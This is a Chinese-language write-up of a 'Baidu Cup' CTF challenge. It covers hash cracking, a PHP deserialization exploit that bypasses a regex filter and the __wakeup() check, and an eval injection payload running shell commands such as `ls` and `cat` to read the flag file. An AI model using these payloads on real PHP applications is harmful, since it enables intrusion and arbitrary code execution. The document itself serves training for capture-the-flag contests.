“百度杯”CTF比赛 十月场 Hash

累~这道题查了好多资料,先总结一下:解hash,反序列化,绕过正则,eval的熟练运用。

打开页面有个链接hahaha,点进去,显示you are 123;if you are not 123,you can get the flag,审查元素,得到提示。


图片.png

意思是,当key!=123和它对应hash传回去,就能得到flag,也就是需要知道sign是多少。
题给了一组key=3,hash=f9109d5f83921a551cf859f853afe7bb,对hash找个网站解密,解密结果为kkkkkk01123,也就是sign=kkkkkk01。然后随便填个key=111,将kkkkkk01111对应的hash传回去。

得到页面返回next step is Gu3ss_m3_h2h2.php。访问看到源代码

 file = $file;
    }

    function __destruct() {
        echo @highlight_file($this->file, true);
    }

    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}

if (isset($_GET['var'])) {
    $var = base64_decode($_GET['var']);
    if (preg_match('/[oc]:\d+:/i', $var)) {
        die('stop hacking!');
    } else {

        @unserialize($var);
    }
} else {
    highlight_file("Gu3ss_m3_h2h2.php");
}
?> 

大意是用get方式传递var参数,先对它base64解码,接着正则匹配,然后对其反序列化。在反序列化时,wakeup这个函数使得我们传进去的文件名f15g_1s_here.php变成Gu3ss_m3_h2h2.php了,想要读取f15g_1s_here.php,需要绕过它。(具体见之前写的一篇反序列化中__wakeup()函数漏洞)
对于用'+'绕过正则,参考了这篇文章,链接https://xz.aliyun.com/t/2733。

接下来开始操作

file = $file;
    }
    function __destruct() {
        echo @highlight_file($this->file, true);
    }
    function __wakeup() {
        if ($this->file != 'Gu3ss_m3_h2h2.php') {
            //the secret is in the f15g_1s_here.php
            $this->file = 'Gu3ss_m3_h2h2.php';
        }
    }
}
$a = new Demo('f15g_1s_here.php');
$s = serialize($a);
echo $s;
echo '
'; $s = str_replace('O:4', 'O:+4',$s);//绕过正则 $s = str_replace(':1:', ':2:' ,$s);//绕过wakeup函数 echo base64_encode($s);//最后base64编码 ?>

得到结果

TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czoxNjoiZjE1Z18xc19oZXJlLnBocCI7fQ==

Gu3ss_m3_h2h2.php?var=上面的结果将其传回,然后返回了f15g_1s_here.php的源码。如下

  

接下来就是利用 上面的eval()函数来找到flag,它将传进去的参数转义处理,然后执行,这里val是可控的,所以构造payload

f15g_1s_here.php?val=${eval("echo 'ls' ;")}

但是addslashes对单引号,双引号,反斜杠进行了转义,所以只能用反引号(`)。而且反斜杠被转义了,使用不了引号嵌套。所以想到再利用一次get请求。payload如下

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `ls`;//注意最后的分号。

得到True_F1ag_i3_Here_233.php


图片.png

修改payload

f15g_1s_here.php?val=${eval($_GET[a])}&a=echo `cat True_F1ag_i3_Here_233.php`;

审查元素得到flag


图片.png

你可能感兴趣的:(“百度杯”CTF比赛 十月场 Hash)